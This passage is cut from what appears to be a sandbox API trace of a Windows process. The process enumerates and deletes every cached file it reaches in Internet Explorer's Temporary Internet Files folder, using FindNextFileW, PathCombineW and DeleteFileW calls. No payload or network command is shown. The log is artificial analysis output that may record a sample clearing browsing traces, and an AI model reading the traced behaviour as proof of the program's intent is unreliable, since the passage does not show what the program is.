ftLastWriteTime.dwLowDateTime=0xe43f3320, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x157, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="AAmin0Z[1].png", cAlternateFileName="AAMIN0~1.PNG")) returned 1 [0102.681] lstrlenW (lpString="AAmin0Z[1].png") returned 14 [0102.681] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="AAmin0Z[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAmin0Z[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAmin0Z[1].png" [0102.681] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\AAmin0Z[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\aamin0z[1].png")) returned 1 [0102.690] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfb75720, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcfb75720, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcfb9b880, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x91dd, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adex[1].js", cAlternateFileName="ADEX_1~1.JS")) returned 1 [0102.690] lstrlenW (lpString="adex[1].js") returned 10 [0102.690] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="adex[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adex[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adex[1].js" [0102.690] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adex[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\adex[1].js")) returned 1 [0102.718] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcdaa7fc0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcdaa7fc0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcdaa7fc0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x7520, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="Adform.DHTML[1].js", cAlternateFileName="ADFORM~1.JS")) returned 1 [0102.718] lstrlenW (lpString="Adform.DHTML[1].js") returned 18 [0102.718] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="Adform.DHTML[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\Adform.DHTML[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\Adform.DHTML[1].js" [0102.718] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\Adform.DHTML[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\adform.dhtml[1].js")) returned 1 [0102.718] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcc919d80, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcc919d80, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccba14e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x28ff, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adfscript[1]", cAlternateFileName="ADFSCR~1")) returned 1 [0102.718] lstrlenW (lpString="adfscript[1]") returned 12 [0102.718] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="adfscript[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfscript[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfscript[1]" [0102.718] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfscript[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\adfscript[1]")) returned 1 [0102.719] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xccba14e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xccba14e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xccba14e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x2874, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adfscript[2]", cAlternateFileName="ADFSCR~2")) returned 1 [0102.719] lstrlenW (lpString="adfscript[2]") returned 12 [0102.719] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="adfscript[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfscript[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfscript[2]" [0102.719] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfscript[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\adfscript[2]")) returned 1 [0102.719] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd2c56e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd2c56e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd2c56e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1086, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adfserve[1]", cAlternateFileName="ADFSER~1")) returned 1 [0102.719] lstrlenW (lpString="adfserve[1]") returned 11 [0102.719] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="adfserve[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[1]" [0102.719] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\adfserve[1]")) returned 1 [0102.765] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcf5a8180, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcf5a8180, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcf5a8180, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xea9, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adfserve[2]", cAlternateFileName="ADFSER~2")) returned 1 [0102.765] lstrlenW (lpString="adfserve[2]") returned 11 [0102.765] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="adfserve[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[2]" [0102.765] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\adfserve[2]")) returned 1 [0102.765] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfc33e00, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcfc33e00, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcfc33e00, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0xfa1, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adfserve[3]", cAlternateFileName="ADFSER~3")) returned 1 [0102.765] lstrlenW (lpString="adfserve[3]") returned 11 [0102.765] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="adfserve[3]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[3]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[3]" [0102.765] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[3]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\adfserve[3]")) returned 1 [0102.766] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x19b1b1e0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x19b1b1e0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x19b1b1e0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x166e, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adfserve[4]", cAlternateFileName="ADFSER~4")) returned 1 [0102.766] lstrlenW (lpString="adfserve[4]") returned 11 [0102.766] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="adfserve[4]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[4]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[4]" [0102.766] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adfserve[4]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\adfserve[4]")) returned 1 [0102.780] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1ac5d160, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1ac5d160, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1aca9420, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x21d7, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="adServer[1].htm", cAlternateFileName="ADSERV~1.HTM")) returned 1 [0102.780] lstrlenW (lpString="adServer[1].htm") returned 15 [0102.780] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="adServer[1].htm" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adServer[1].htm") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adServer[1].htm" [0102.780] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\adServer[1].htm" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\adserver[1].htm")) returned 1 [0102.789] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a28b6a0, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a28b6a0, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a28b6a0, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x1c, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="advertisement.ad[1].js", cAlternateFileName="ADVERT~1.JS")) returned 1 [0102.789] lstrlenW (lpString="advertisement.ad[1].js") returned 22 [0102.789] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="advertisement.ad[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\advertisement.ad[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\advertisement.ad[1].js" [0102.789] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\advertisement.ad[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\advertisement.ad[1].js")) returned 1 [0102.833] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd86cb20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd86cb20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd86cb20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="async_usersync[1]", cAlternateFileName="ASYNC_~1")) returned 1 [0102.833] lstrlenW (lpString="async_usersync[1]") returned 17 [0102.833] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="async_usersync[1]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\async_usersync[1]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\async_usersync[1]" [0102.833] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\async_usersync[1]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\async_usersync[1]")) returned 1 [0102.834] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd86cb20, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd86cb20, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd86cb20, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x534, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="async_usersync[2]", cAlternateFileName="ASYNC_~2")) returned 1 [0102.834] lstrlenW (lpString="async_usersync[2]") returned 17 [0102.834] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="async_usersync[2]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\async_usersync[2]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\async_usersync[2]" [0102.834] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\async_usersync[2]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\async_usersync[2]")) returned 1 [0102.834] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcfb75720, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcfb75720, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcfb75720, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x431, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="async_usersync[3]", cAlternateFileName="ASYNC_~3")) returned 1 [0102.834] lstrlenW (lpString="async_usersync[3]") returned 17 [0102.834] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="async_usersync[3]" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\async_usersync[3]") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\async_usersync[3]" [0102.834] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\async_usersync[3]" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\async_usersync[3]")) returned 1 [0102.834] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1baf1820, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1baf1820, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1baf1820, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0xa58d, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="ba[1].js", cAlternateFileName="BA_1_~1.JS")) returned 1 [0102.835] lstrlenW (lpString="ba[1].js") returned 8 [0102.835] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="ba[1].js" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ba[1].js") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ba[1].js" [0102.835] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\ba[1].js" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\ba[1].js")) returned 1 [0102.835] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcd8469c0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcd8469c0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcd8469c0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x1d0, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BB1CcOi[1].png", cAlternateFileName="BB1CCO~1.PNG")) returned 1 [0102.835] lstrlenW (lpString="BB1CcOi[1].png") returned 14 [0102.835] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BB1CcOi[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BB1CcOi[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BB1CcOi[1].png" [0102.835] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BB1CcOi[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bb1ccoi[1].png")) returned 1 [0102.862] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1a7e6820, ftCreationTime.dwHighDateTime=0x1d2f56a, ftLastAccessTime.dwLowDateTime=0x1a7e6820, ftLastAccessTime.dwHighDateTime=0x1d2f56a, ftLastWriteTime.dwLowDateTime=0x1a7e6820, ftLastWriteTime.dwHighDateTime=0x1d2f56a, nFileSizeHigh=0x0, nFileSizeLow=0x459, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BB1kvzy[1].png", cAlternateFileName="BB1KVZ~1.PNG")) returned 1 [0102.862] lstrlenW (lpString="BB1kvzy[1].png") returned 14 [0102.862] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BB1kvzy[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BB1kvzy[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BB1kvzy[1].png" [0102.862] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BB1kvzy[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bb1kvzy[1].png")) returned 1 [0102.862] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcb8964e0, ftCreationTime.dwHighDateTime=0x1d2f569, ftLastAccessTime.dwLowDateTime=0xcb8964e0, ftLastAccessTime.dwHighDateTime=0x1d2f569, ftLastWriteTime.dwLowDateTime=0xcb8964e0, ftLastWriteTime.dwHighDateTime=0x1d2f569, nFileSizeHigh=0x0, nFileSizeLow=0x18c, dwReserved0=0x300032, dwReserved1=0x370031, cFileName="BB6Ma4a[1].png", cAlternateFileName="BB6MA4~1.PNG")) returned 1 [0102.882] lstrlenW (lpString="BB6Ma4a[1].png") returned 14 [0102.882] PathCombineW (in: pszDest=0x9a91840, pszDir="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I", pszFile="BB6Ma4a[1].png" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BB6Ma4a[1].png") returned="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BB6Ma4a[1].png" [0102.882] DeleteFileW (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows\\Temporary Internet Files\\Low\\Content.IE5\\5JW0IE7I\\BB6Ma4a[1].png" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows\\temporary internet files\\low\\content.ie5\\5jw0ie7i\\bb6ma4a[1].png")) returned 1 [0102.894] FindNextFileW (in: hFindFile=0x71e97e0, lpFindFileData=0x9a91b30 | out: lpFindFileData=0x9a91b30*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbd590e0, 